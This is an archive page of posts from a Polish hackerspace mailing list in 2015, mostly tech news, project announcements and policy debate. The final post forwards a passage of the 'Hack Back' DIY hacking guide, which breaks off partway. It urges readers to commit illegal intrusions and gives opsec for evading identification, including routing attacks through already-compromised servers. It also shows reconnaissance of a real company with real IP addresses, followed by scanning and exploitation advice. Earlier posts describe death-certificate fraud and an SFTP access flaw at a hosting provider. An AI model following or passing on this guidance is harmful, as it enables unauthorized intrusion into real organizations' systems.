- General - Hackerspace.pl Lists

Hackerspace Woodstock
by rysiek 18 Aug '15

18 Aug '15

Elo, HSKRK się sam nie chwali, to ja ich pochwalę: http://hackerspace-krk.pl/1935,hackerspace-woodstock Wiktor P. i Gustaw Ł., kudosy all around! :D -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

3 3

Fwd: Death lists.
by rysiek 12 Aug '15

12 Aug '15

Elo, taka sytuacja. ---------- Treść przekazywanej wiadomości ---------- Temat: Death lists. Data: sobota, 8 sierpnia 2015, 19:25:26 Od: jim bell <jdb10987(a)yahoo.com> Do: Cpunks List <cypherpunks(a)cpunks.org> http://news.yahoo.com/rush-put-death-records-online-lets-anyone-killed-0744… Las Vegas (AFP) - Hackers at an infamous annual Def Con gathering in Las Vegas got schooled in how to be online killers.A rush to go digital with the process of registering deaths has made it simple for maliciously minded folks to have someone who is alive declared dead by the authorities. "This is a global problem," Australian computer security specialist Chris Rock said as he launched a presentation titled "I Will Kill You."The process of having someone officially stamped dead by getting a death certificate issued typically involves a doctor filling out one form and a funeral home filling out another, according to Rock's research.Once forms are submitted online, certificates declaring the listed person legally dead are generated. A fatal flaw in the system is that people can easily pose as real doctors and funeral directors, Rock demonstrated to a rapt audience. Doctors practising general medicine often don't bother setting up accounts at online portals for filling out information for death certificates.An aspiring online assassin can step into that void, and borrow the identity of a doctor. Setting up accounts requires a doctor's name, address, and medical license number. A basic Internet search will turn up that information, which is publicly available for the well-intended purpose of letting people check that physicians are legitimate before seeking care. Drop down boxes containing illness categories and online guides are available for filling in "doctor speak" on forms and avoiding medical causes or circumstances that might trigger needs for autopsies or investigations, Rock's demonstration showed. - No one off limits -Borrowing a funeral director's identity to establish an online account for death certificate purposes was shown to be simple as well. Required information about legitimate funeral directors is posted on the Internet, and one could even claim to work at a funeral home. In Rock's case, he made a website for a bogus funeral home and used that to back his application for an account as director. He got an automated call days later saying he was approved.With both online accounts in place, deaths can be registered in the real world. "You could kill anyone you want," Rock told AFP after the presentation. "No one is off limits."A humor-infused list of scenarios included killing oneself off to get life insurance cash or going after others for vengeance.Someone targeted might not even know they were declared dead until doing something official like trying to renew a passport or driving license. Rock began digging into the death industry a year ago after an Australian hospital accidentally declared 200 patients dead.- Virtual babies -Getting birth certificates for virtual babies was demonstrated to be even easier than killing off people in the digital world, because registering births online only involves doctors and parents. "Once you log on as a doctor, not only can you kill someone, you can actually birth someone," Rock said.Given the time it takes for even a make-believe baby to grow into adulthood, he saw that as more tempting to crime gangs who could invest in the future by creating legions of virtual people for shady doings involving loans, stock trading, imports or other activities. "You could even make fake identities for your children, so when they grow up they have burner identities," Rock said.He dove into virtual birth and death in his book titled "The Baby Harvest: How virtual babies become the future of terrorist financing and money laundering." ----------------------------------------- -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

1 0

Oracle and reverse enginnering
by Kamil Gałuszka 12 Aug '15

12 Aug '15

Hej, https://web.archive.org/web/20150811052336/https://blogs.oracle.com/maryann… Ku pamięci zostawiam. Prawdziwy fun się dzieje na tym hashtagu: ;) https://twitter.com/hashtag/oraclefanfic?f=tweets&vertical=default&src=hash To chyba jedna z lepszych reklam dla wolnych i otwartych rozwiązań bazodanowych jakie mogło Oracle zafundować ;). Pozdrawiam Kamil Gałuszka

1 0

Andrzej Duda spotka się z internautami dziś o 19:30 na Facebook Live
by Michał Maciej '2M1R' Różański 10 Aug '15

10 Aug '15

http://di.com.pl/andrzej-duda-spotka-sie-z-internautami-dzis-o-1930-na-face… Ciekawe czy to pusty gest czy zapowiedz przysłego dialogu o sprawach które leżą internautom na sercu. -- Pozdrawiam Michał '2M1R' Różański ------------------------------------ xmpp: 2m1r(a)tumir.eu / 2m1r(a)jabster.pl mail: michal(a)tumir.eu website: http://tumir.eu

9 16

SafeSmartMetering [było: SafeSky]
by Robert Partyka 10 Aug '15

10 Aug '15

W dniu 2015-08-10 o 09:14, rysiek pisze: > ...o routerach domowych już nie wspominająć. Czekam z niecierpliwością na > "smart" liczniki energii. Czekasz? Przecież to już od dawna na rynku i w użyciu. choćby takie: http://www.apator.com/pl/oferta/pomiar-energii/liczniki-energii-elektryczne… -- BoBsoN

3 5

IGF Draft Net Neutrality statement
by rysiek 09 Aug '15

09 Aug '15

Cześć, IGF opublikował Draft Net Neutrality statement: http://review.intgovforum.org/igf-2015/dynamic-coalitions/dynamic-coalition… Gorąco zachęcam do komentowania. ISPs i dostawcy mobilni na pewno ostro będą to zjeżdżać. Przydało by się jak najwięcej głosów z drugiej strony. ;) -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

1 0

Fwd: Death lists.
by rysiek 08 Aug '15

08 Aug '15

Ho-humm... ---------- Treść przekazywanej wiadomości ---------- Temat: Death lists. Data: sobota, 8 sierpnia 2015, 19:25:26 Do: Cpunks List <cypherpunks(a)cpunks.org> http://news.yahoo.com/rush-put-death-records-online-lets-anyone-killed-0744… Las Vegas (AFP) - Hackers at an infamous annual Def Con gathering in Las Vegas got schooled in how to be online killers.A rush to go digital with the process of registering deaths has made it simple for maliciously minded folks to have someone who is alive declared dead by the authorities."This is a global problem," Australian computer security specialist Chris Rock said as he launched a presentation titled "I Will Kill You."The process of having someone officially stamped dead by getting a death certificate issued typically involves a doctor filling out one form and a funeral home filling out another, according to Rock's research.Once forms are submitted online, certificates declaring the listed person legally dead are generated.A fatal flaw in the system is that people can easily pose as real doctors and funeral directors, Rock demonstrated to a rapt audience.Doctors practising general medicine often don't bother setting up accounts at online portals for filling out information for death certificates.An aspiring online assassin can step into that void, and borrow the identity of a doctor.Setting up accounts requires a doctor's name, address, and medical license number. A basic Internet search will turn up that information, which is publicly available for the well-intended purpose of letting people check that physicians are legitimate before seeking care.Drop down boxes containing illness categories and online guides are available for filling in "doctor speak" on forms and avoiding medical causes or circumstances that might trigger needs for autopsies or investigations, Rock's demonstration showed.- No one off limits -Borrowing a funeral director's identity to establish an online account for death certificate purposes was shown to be simple as well. Required information about legitimate funeral directors is posted on the Internet, and one could even claim to work at a funeral home.In Rock's case, he made a website for a bogus funeral home and used that to back his application for an account as director. He got an automated call days later saying he was approved.With both online accounts in place, deaths can be registered in the real world."You could kill anyone you want," Rock told AFP after the presentation. "No one is off limits."A humor- infused list of scenarios included killing oneself off to get life insurance cash or going after others for vengeance.Someone targeted might not even know they were declared dead until doing something official like trying to renew a passport or driving license.Rock began digging into the death industry a year ago after an Australian hospital accidentally declared 200 patients dead.- Virtual babies -Getting birth certificates for virtual babies was demonstrated to be even easier than killing off people in the digital world, because registering births online only involves doctors and parents."Once you log on as a doctor, not only can you kill someone, you can actually birth someone," Rock said.Given the time it takes for even a make-believe baby to grow into adulthood, he saw that as more tempting to crime gangs who could invest in the future by creating legions of virtual people for shady doings involving loans, stock trading, imports or other activities."You could even make fake identities for your children, so when they grow up they have burner identities," Rock said.He dove into virtual birth and death in his book titled "The Baby Harvest: How virtual babies become the future of terrorist financing and money laundering." ----------------------------------------- -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

1 0

Teneo -- Regenerable ed25519 keys for OpenSSH.
by rysiek 08 Aug '15

08 Aug '15

Elo, takie coś naszedłem: https://github.com/ahf/teneo - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Teneo allows you to deterministically generate an ed25519 key pair for OpenSSH from a set of parameters. This allows you to (re)generate your key pair on a computer which, for example, lacks persistent storage. You must be able to remember three things to (re)generate your key pair; A user defined "username", which can be any string. A Teneo defined "profile" name. There's currently only one profile available: 2015v1, which uses scrypt() + salsa20/8 + sha256 as KDF. Your personally selected passphrase. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

1 0

NetJSON
by rysiek 08 Aug '15

08 Aug '15

Intredasting: http://battlemesh.org/BattleMeshV8/Agenda?action=AttachFile&do=get&target=b… -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

1 0

Broń z WiFi? What could possibly go wrong!
by rysiek 07 Aug '15

07 Aug '15

Elo, pewnie widzieliście: http://www.wired.com/2015/07/hackers-can-disable-sniper-rifleor-change-targ… -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

3 2

TrueCrypt decrypted?
by piorek 07 Aug '15

07 Aug '15

Taka sytuacja: http://www.theregister.co.uk/2015/08/04/truecrypt_decrypted_by_fbi/ -- Pozdrawiam Piotrek 'piorek' Fiorek

4 3

Fwd: Obama heads level "material support" at crypto purveyors
by rysiek 05 Aug '15

05 Aug '15

---------- Treść przekazywanej wiadomości ---------- Temat: Obama heads level "material support" at crypto purveyors Data: piątek, 31 lipca 2015, 19:52:52 Od: grarpamp <grarpamp(a)gmail.com> Do: cypherpunks(a)cpunks.org https://firstlook.org/theintercept/2015/07/30/obama-administration-war-appl… The Obama administration’s central strategy against strong encryption seems to be waging war on the companies that are providing and popularizing it: most notably Apple and Google. The intimidation campaign got a boost Thursday when a blog that frequently promotes the interests of the national security establishment raised the prospect of Apple being found liable for providing material support to a terrorist. ----------------------------------------- -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

1 0

Julython
by Kamil Gałuszka 05 Aug '15

05 Aug '15

Hej, Zachęta dla reszty HSów. Julython czas zacząć! Disclamer dla tych co nie wiedzą. Julython to akcja, która zachęca do włączenia się aktywniej przez lipiec do rozwoju open sourca i free software. Przy okazji jest możliwość trackowania progresu, zbierania achivmentów i... ;) masa zabawy i nauki! Zatem: 1) Rejestrujemy się na Julython.org 2) Wybieramy team swojego hackerspacea. 3) Commitujemy Open Source & Free Software na bitbucket & github. W tamtym roku Hackerspace Silesia zajął znakomite 5 miejsce. ;) Pozdrawiam Kamil Gałuszka

2 5

PLL Lot akceptuje BTC
by rysiek 05 Aug '15

05 Aug '15

Elo, "Spółka PLL LOT poinformowała, że od dzisiaj można dokonać zapłaty za wszystkie bilety w jej systemie płacąc cyfrową walutą – bitcoinami. “Wielu z nas robi zakupy przez internet, w tym kupuje bilety lotnicze. Jest tylko kwestią czasu, by płatności internetową walutą stały się tak samo popularne jak dziś korzystanie z kart kredytowych” – mówi Jiri Marek, dyrektor ds. sprzedaży i dystrybucji w spółce LOT." http://satoshi.pl/2015/08/04/pll-lot-najwiekszym-na-swiecie-przewoznikiem-a… -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

3 3

Fwd: Want to go to Science Hack Day in San Francisco / hold your own Science Hack Day?
by rysiek 04 Aug '15

04 Aug '15

Może ktoś się. :) ---------- Treść przekazywanej wiadomości ---------- Temat: Want to go to Science Hack Day in San Francisco / hold your own Science Hack Day? Data: poniedziałek, 3 sierpnia 2015, 01:02:55 Od: Ariel Waldman <ariel(a)sciencehackday.org> Do: kontakt(a)hackerspace.pl Hello! I am the global director of Science Hack Day and I thought this might be a very cool opportunity for someone from Warsaw Hackerspace: Science Hack Day is granting 3 people from around the world a trip to San Francisco to attend this year's Science Hack Day (Oct 24-25). The only catch is that you're willing to organize a Science Hack Day in your own city. *We are accepting applications until August 9. * The application form is at http://sciencehackday.org/apply/ Science Hack Day is a two-day-all-night event where anyone excited about making weird, silly or serious things with science comes together in the same physical space to see what they can prototype within 24 consecutive hours. Designers, developers, scientists and anyone who is excited about making things with science are welcome to attend – no experience in science or hacking is necessary, just an insatiable curiosity. If you have any questions, please feel free to ask! -- Ariel Waldman http://arielwaldman.com + http://sciencehackday.org ----------------------------------------- -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

1 0

TVN Turbo - program o kradzieżach.
by Wiktor Przybylski 29 Jul '15

29 Jul '15

Hej. TVN kręci siakiś program o kradzieżach w związku z czym dostalim takiego o maila (troche udziabałem z treści i personaliów, coby zapobiec ewentualnej tragedii): /"W serialu chcielibyśmy pokazać jakimi sposobami złodzieje okradają Polaków. Program ma być niejako poradnikiem dla widzów- jak ustrzec się przed kradzieżami- m.in. korzystając z materiałów, prezentowanych przez policję, z którą również współpracujemy. Tematyka będzie dość rozległa –począwszy od kradzieży samochodów, przez włamania i kradzieże kieszonkowe, na kradzieżach Internetowych kończąc. // / /W związku z odcinkiem o kradzieżach internetowych, //chciałabym móc skontaktować się z dziennikarzami i administratorami, którzy mogliby mi pomóc od strony merytorycznej//. Naszym wydawcom bardzo zależy również na utrzymaniu programu w bardzo realistycznej formie, stąd prośba o sugestię bądź kontakt z hakerem- który mógłby w programie opowiedzieć jakimi metodami się posługiwał- oraz jak każdy z nas może się przed nimi ustrzec. // / /Pragnę dodać , że współpracujemy z czołowymi, renomowanymi stacjami w Polsce - w tym z National Geographic, czy kanałami z grupy TVN. "/ I teraz tak, ja tu widzę kilka rzeczy: a) "chciałabym móc skontaktować się z dziennikarzami i administratorami, którzy mogliby mi pomóc od strony merytorycznej" - jeśli ktoś chce być mądrą gadającą buzią w telewizorni, która dodatkowo w swoje wypowiedzi powplata ponad dziewięć tysięcy memsów internetowych (bez tych o papieżu, zwyrodnialcy) - droga wolna. Jeśli bez memów, też droga wolna. b) "stąd prośba o sugestię bądź kontakt z hakerem- który mógłby w programie opowiedzieć jakimi metodami się posługiwał- oraz jak każdy z nas może się przed nimi ustrzec." - cheesy shit to unscrew - Ponad to czego potrzebują do tego serialu, to możnaby coś podziałać w sprawie ogólnopojętego ocieplania wizerunku hakera a także promocji naszych spejsów. Z tego co wiem o dziennikarzach, to lubio jak im sie gotowy temat podsuwa pod nos - polska scena hakerska i hakerspejsy w tefałenie? Wchodzę w to "jak nóż wjeżdża w masło" b) TVN często 'hakeruje' w tekstach - czy to nie dobry backdoor żeby to poodkręcać? Discuss.

10 19

Here we go again -- filtry rodzinne na poziomie ISP
by rysiek 26 Jul '15

26 Jul '15

Cześć, taka sytuacja: "Ostatnie założenie reformy przewiduje, że w Prawie telekomunikacyjnym wprowadzone zostaną przepisy chroniące dzieci przed dostępem do pornografii w telefonii komórkowej i internecie, poprzez nakazanie operatorom domyślnego zastosowania filtrów chroniących dzieci." -- http://gosc.pl/doc/2576238.Media-wedlug-PiS -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

10 35

[OSTRZEŻENIE] Uwaga! Zablokujcie natychmiast dodatkowe konta FTP w hostingach nazwa.pl
by Marek Zibrow 26 Jul '15

26 Jul '15

Kto z Was ma hostingi na nazwa.pl niech zablokuje natychmiast, czasowo przynajmniej, dodatkowe konta FTP w tych hostingach. Łącząc się z SFTP można uzyskać dostęp do wszystkich folderów i wszystko w nich zmieniać, nieważne jaki folder wskazaliście dla danego konta. Sytuacja istnieje przynajmniej od dzisiaj w nocy. -- Marek Zibrow marek(a)zibrow.pl

2 2

ap.pl
by rysiek 24 Jul '15

24 Jul '15

What The Fuck. http://www.biztok.pl/biznes/apple-atakuje-polska-firme-albo-oddaja-domene-a… - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Portal ap.pl oferuje serwis telefonów i sprzedaje akcesoria do urządzeń mobilnych. Właścicielem domeny jest od 2002 roku Artur Janiszewski. Kiedy ją zakładał, nigdy by nie pomyślał, że po tylu latach będzie miał na pieńku z legendarną firmą z nadgryzionym jabłkiem w logo. Skąd taka nazwa? Janiszewski ochrzcił swoją firmę Art Production, a ap.pl to po prostu jej skrót. Dlaczego miałby więc oddawać ją Amerykanom - nie ma pojęcia. Przedstawiciele Apple'a widzą to inaczej. Uważają, że fonetycznie Apple i ap.pl to to samo. Dlatego ostro zaatakowali Janiszewskiego. Najpierw (w maju tego roku) Polak dostał od międzynarodowej kancelarii prawniczej pismo z żądaniem bezpłatnego oddania adresu. Kiedy na to nie przystał, trafił do niego sążnisty, 600-stronicowy pozew. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

3 2

Fwd: Announcement: Replicated Encrypted PasteBin
by rysiek 19 Jul '15

19 Jul '15

---------- Treść przekazywanej wiadomości ---------- Temat: Announcement: Replicated Encrypted PasteBin Data: sobota, 4 lipca 2015, 16:14:20 Do: cypherpunks(a)cpunks.org It's been a while since code was announced on cypherpunks... RepBin: https://github.com/repbin/repbin/tree/v0.0.1 Repbin is an encrypted pastebin for the command line that runs over Tor! Repbin servers form a distributed network where nodes sync posts with each other (like in Usenet or BBS/Fido systems). This makes Repbin resilient and scalable. Repbin focuses on privacy (encrypted messages) and anonymity (padding and repost chains). Features -------- - Forward secure encryption of posts using DHE-curve25519. Even a compromised long-term key does not allow to decrypt old posts. - Integrity protection of posts using HMAC-SHA256. You can be sure that posts have not been tampered with. - Confidentiality of posts using AES256-CTR. Without the recipient key, nobody can read the post. - All posts are padded to a common size. That means that posts are not distinguishable by their size when looking ``on the wire''. - Post are replicated between all servers in the Repbin network. - Optional constant receiver keys for post-box functionality. - Receiver key attributes for synchronization and post-box authentication. - Resource control via hashcash (sha256) and ed25519. - Some privacy protection by using Tor for all communication and ephemeral keys. - undocumented goodies. Post a file ----------- $ cat FILE | repclient As a response you will receive output like this: Pastebin Address: http://bvuk3xmvslx3idcj.onion/3x77hJtt42MkGbs18e1ZvBw9oAftAUrr9K9x4E8rQzed_… Simply give the Pastebin Address to whoever should gain access to the file. Fetch: $ repclient http://bvuk3xmvslx3idcj.onion/3x77hJtt42MkGbs18e1ZvBw9oAftAUrr9K9x4E8rQzed_… Installation ------------ Client software to send and receive file: $ go get -u github.com/repbin/repbin/cmd/repclient Peering ------- If you are an experienced UNIX sysadmin, please consider running your own Repbin server to help the Repbin network. While running a server requires hardly any interaction, setting up a server in the Repbin network requires at least one manual peering agreement with another server in the network. This is a time-tested architecture which is used successfully to run the Internet, the Usenet, and BBS networks like FidoNet. To set up a peering you have to exchange public peering keys with another server and configure your server accordingly. To get in touch with us for peering send a message to 7VW3oPLzQc7VS2anLyDtrdARDdSwa7QTF7h3N2t6J2VN_AjWZQfHoqK3yNqvXPkcswLNXSzFrCzJuRRKZKvY71UWT and don't forget to put your own key into the message. The server installation and the peering process is described in detail in the documentation. Here be dragons... ------------------ Dive deeper into the documentation and the code, if you want to figure out how to send repost messages (remailer style) and how to run your own reposter service! WARNING ------- THIS SOFTWARE HAS NEVER BEEN AUDITED OR REVIEWED. IT HAS NOT BEEN TESTED. THE AUTHORS ARE AMATEURS AND YOU SHOULD NOT USE THIS SOFTWARE FOR ANYTHING IMPORTANT. YOU SHOULD NOT RELY ON THE SOFTWARE TO WORK AT ALL, OR IN ANY PREDICTABLE WAY, NOR SHOULD YOU ASSUME THAT THE FEATURES CLAIMED ARE THE FEATURES IMPLEMENTED. THIS SOFTWARE IS FULL OF ERRORS, THE ARCHITECTURE AND DESIGN ARE BROKEN. UNLESS SOME EXPERT CLAIMS OTHERWISE. ----------------------------------------- -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

1 0

Peer review
by Marek Marecki 18 Jul '15

18 Jul '15

Cześć! Pół roku temu (z małym hakiem) zacząłem pisać maszynę wirtualną. Nie potrafi jeszcze tyle co maszyna Javy czy interpreter Pythona, ale coś już można w niej napisać (jest gotowy wrapper na libnotify więc można np. wysłać sobie powiadomienie na pulpit, a na kod źródłowy składa się między innymi ponad 1500 linii kodu testów napisanych w języku assemblera maszyny). Z okazji wydania wersji 0.5.0 uznałem, że zapostuję na liście i poproszę brać hakerską o peer review. Thank you from the mountain za czas i każdy komentarz! Krótki przegląd podstawowej funkcjonalności: * programy są pisane w jeżyku assemblera maszyny i kompilowane do bytecodu przed wykonaniem, * instrukcje w maszynie operują na rejestrach (w przeciwieństwie do Javy czy Pythona, które operują stosem operandów), * maszyna obsługuje mechanizm throw/catch (można rzucać obiekty dowolnego typu, nie tylko wyjątki), * dostępne typy danych to int, boolean, float, string i vector, * dostępne są instrukcje warunkowe "jump" i "branch" oraz funkcje, Z bardziej zaawansowanych rzeczy, maszyna wspiera programowanie funkcyjne (w źródłach umieściłem moduł, który implementuje trzy główne funkcje: "map", "apply" i "filter", oraz również przydatną "invoke"). Da się też tworzyć funkcje zagnieżdżone. Jeśli ktoś lubi takie rzeczy to wie, że to fajna sprawa; a jak ktoś nie lubi to szkoda ;-) Przy błędach i niezłapanych wyjątkach CPU wyświetli ładny stack trace, z informacjami wystarczającymi do uruchomienia debuggera z breakpointem na odpowiedniej instrukcji. Zaimplementowałem wsparcie dla kompilacji rozłącznej, linkowania statycznego i dynamicznego, oraz linkowania modułów zewnętrzych napisanych w C++. Nie istnieje jeszcze możliwość tworzenia własnych typów danych, ale można symulować je za pomocą wektorów (z tego co wiem, w podobny sposób działa Lua). Nad utworzeniem systemu typów właśnie pracuję. Nie chcę pchać na listę zbyt dużego maila. Jeśli jednak ktoś będzie chciał dowiedzieć się więcej, z przyjemnością rozwinę temat. Zainteresowanych mogę pokierować do kodu: https://github.com/marekjm/wudoovm i dokumentu PDF z dokumentacją: http://docs.viuavm.org/viua_virtual_machine.pdf Marek Marecki -- Viua Virtual Machine hacker

2 4

Fwd: Dead Tree Lovers -- Call for Books
by rysiek 18 Jul '15

18 Jul '15

---------- Treść przekazywanej wiadomości ---------- Temat: Dead Tree Lovers -- Call for Books Data: niedziela, 5 lipca 2015, 23:45:34 Do: cpunks <cypherpunks(a)cpunks.org> DEAD TREE LOVERS -- CALL FOR BOOKS _________________________________________________________ ||-------------------------------------------------------|| ||.--. .-._ .----. || |||==|____| |H|___ .---.___|""""|_____.--.___ || ||| |====| | |xxx|_ |+++|=-=|_ _|-=+=-|==|---||| |||==| | | | | \ | | |_\/_| | | ^ ||| ||| | | | | |\ \ .--. | |=-=|_/\_|-=+=-| | ^ ||| ||| | | | | |_\ \_( oo )| | | | | | ^ ||| |||==|====| |H|xxx| \ \ |''| |+++|=-=|""""|-=+=-|==|---||| ||`--^----'-^-^---' `-' "" '---^---^----^-----^--^---^|| ||-------------------------------------------------------|| ||-------------------------------------------------------|| || ___ .-.__.-----. .---.|| || |===| .---. __ .---| |XX|<(*)>|_|^^^||| || , /(| |_|III|__|''|__|:x:|=| | |=| ||| || _a'{ / (|===|+| |++| |==| | | | | | ||| || '/\\/ _(|===|-| | |''| |:x:|=| | | | ||| ||_____ -\{___(| |-| | | | | | | | | | ||| || _(____)|===|+|[I]|DK|''|==|:x:|=|XX|<(*)>|=|^^^||| || `---^-^---^--^--'--^---^-^--^-----^-^---^|| ||-------------------------------------------------------|| ||_______________________________________________________|| tl;dr: We want your books. Send them to us. In December 2014, over 500 books were brought to Chaos Communication Congress in Hamburg for an experiment: During the busy days of Congress, with over 12.000 visitors, how will people react to a library of dead trees? In partnership with La Quadrature Du Thé and the Congress team, a cozy reading area was set up on the fourth floor. For us Dead Tree Lovers, to see all seats and carpet space occupied almost 24/7 by interested readers filled us with delight. The library lives on! And has considerably grown since. The database now contains over 666 titles. As a travelling library, we will bring it to places near you, to hacker events and hackerspaces, to other public spaces. It is currently hosted and accessible around the clock at OpenLab Augsburg, Germany, for free borrowing or cheap purchase, replacing existing books by other used copies. The database is limited in that it does not yet contain all of the historical material that we have so far collected on the earlier days of hacking, pre-80s. Thanks to Werner Pieper, a friend of Wau Holland and publisher, we have started to add rare material from the good old times when hacking was part of the broader political counterculture movement and not yet mainstream. Thanks to the CCC, we are now hosting a complete paper archive of the Chaos Computer Club publication 'Die Datenschleuder'. The Humanistische Union (HU) donated most (all?) of their publications. WE WANT MORE. The library needs your help. Please send us your books and reading suggestions for us to hunt down paper copies! Or better yet, send us offers first. We're open for anything tech, political, scifi, as long as you feel it influenced your life profoundly and is worth reading. The focus is hacker culture and its history in the broader sense. It is not necessary to give your books away forever, we can log the source and return it if and when you want it back. Dead Tree Lovers c/o OpenLab Augsburg e.V. Elisenstrasse 1 D-86159 Augsburg, Germany JOIN! We have started a mailing list to discuss all kinds of book matters: book scanning, library software (or lack thereof), book recommendations etc. the DTL team // July 2015 --------------------------------------------------------- irc.hackint.org #deadtreelovers https://wiki.hackerspaces.org/Dead_Tree_Lovers https://www.librarything.com/catalog/hacklib https://lists.hackerspaces.org/mailman/listinfo/deadtreelovers rss: https://www.librarything.com/rss/recent/hacklib twitter: https://twitter.com/hacklibrary ----------------------------------------- -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

1 0

Fwd: Re: Hacking Team has been hacked (hard)
by rysiek 18 Jul '15

18 Jul '15

Welp. ---------- Treść przekazywanej wiadomości ---------- Temat: Re: Hacking Team has been hacked (hard) Data: środa, 8 lipca 2015, 03:29:59 DW: cypherpunks(a)cpunks.org why just the header Rayzer? a guide this good demands completeness --- _ _ _ ____ _ _ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | _ | (_| | (__| < | |_) | (_| | (__| <|_| |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_) A DIY Guide for those without the patience to wait for whistleblowers --[ 1 ]-- Introduction I'm not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz it took to 0wn Gamma. I'm writing this to demystify hacking, to show how simple it is, and to hopefully inform and inspire you to go out and hack shit. If you have no experience with programming or hacking, some of the text below might look like a foreign language. Check the resources section at the end to help you get started. And trust me, once you've learned the basics you'll realize this really is easier than filing a FOIA request. --[ 2 ]-- Staying Safe This is illegal, so you'll need to take same basic precautions: 1) Make a hidden encrypted volume with Truecrypt 7.1a [0] 2) Inside the encrypted volume install Whonix [1] 3) (Optional) While just having everything go over Tor thanks to Whonix is probably sufficient, it's better to not use an internet connection connected to your name or address. A cantenna, aircrack, and reaver can come in handy here. [0] https://truecrypt.ch/downloads/ [1] https://www.whonix.org/wiki/Download#Install_Whonix As long as you follow common sense like never do anything hacking related outside of Whonix, never do any of your normal computer usage inside Whonix, never mention any information about your real life when talking with other hackers, and never brag about your illegal hacking exploits to friends in real life, then you can pretty much do whatever you want with no fear of being v&. NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable for some things like web browsing, when it comes to using hacking tools like nmap, sqlmap, and nikto that are making thousands of requests, they will run very slowly over Tor. Not to mention that you'll want a public IP address to receive connect back shells. I recommend using servers you've hacked or a VPS paid with bitcoin to hack from. That way only the low bandwidth text interface between you and the server is over Tor. All the commands you're running will have a nice fast connection to your target. --[ 3 ]-- Mapping out the target Basically I just repeatedly use fierce [0], whois lookups on IP addresses and domain names, and reverse whois lookups to find all IP address space and domain names associated with an organization. [0] http://ha.ckers.org/fierce/ For an example let's take Blackwater. We start out knowing their homepage is at academi.com. Running fierce.pl -dns academi.com we find the subdomains: 67.238.84.228 email.academi.com 67.238.84.242 extranet.academi.com 67.238.84.240 mail.academi.com 67.238.84.230 secure.academi.com 67.238.84.227 vault.academi.com 54.243.51.249 www.academi.com Now we do whois lookups and find the homepage of www.academi.com is hosted on Amazon Web Service, while the other IPs are in the range: NetRange: 67.238.84.224 - 67.238.84.255 CIDR: 67.238.84.224/27 CustName: Blackwater USA Address: 850 Puddin Ridge Rd Doing a whois lookup on academi.com reveals it's also registered to the same address, so we'll use that as a string to search with for the reverse whois lookups. As far as I know all the actual reverse whois lookup services cost money, so I just cheat with google: "850 Puddin Ridge Rd" inurl:ip-address-lookup "850 Puddin Ridge Rd" inurl:domaintools Now run fierce.pl -range on the IP ranges you find to lookup dns names, and fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more whois lookups and repeat the process until you've found everything. Also just google the organization and browse around its websites. For example on academi.com we find links to a careers portal, an online store, and an employee resources page, so now we have some more: 54.236.143.203 careers.academi.com 67.132.195.12 academiproshop.com 67.238.84.236 te.academi.com 67.238.84.238 property.academi.com 67.238.84.241 teams.academi.com If you repeat the whois lookups and such you'll find academiproshop.com seems to not be hosted or maintained by Blackwater, so scratch that off the list of interesting IPs/domains. In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com was simply a whois lookup of finfisher.com which found it registered to the name "FinFisher GmbH". Googling for: "FinFisher GmbH" inurl:domaintools finds gamma-international.de, which redirects to finsupport.finfisher.com ...so now you've got some idea how I map out a target. This is actually one of the most important parts, as the larger the attack surface that you are able to map out, the easier it will be to find a hole somewhere in it. --[ 4 ]-- Scanning & Exploiting Scan all the IP ranges you found with nmap to find all services running. Aside from a standard port scan, scanning for SNMP is underrated. Now for each service you find running: 1) Is it exposing something it shouldn't? Sometimes companies will have services running that require no authentication and just assume it's safe because the url or IP to access it isn't public. Maybe fierce found a git subdomain and you can go to git.companyname.come/gitweb/ and browse their source code. 2) Is it horribly misconfigured? Maybe they have an ftp server that allows anonymous read or write access to an important directory. Maybe they have a database server with a blank admin password (lol stratfor). Maybe their embedded devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer's default password. 3) Is it running an old version of software vulnerable to a public exploit? Webservers deserve their own category. For any webservers, including ones nmap will often find running on nonstandard ports, I usually: 1) Browse them. Especially on subdomains that 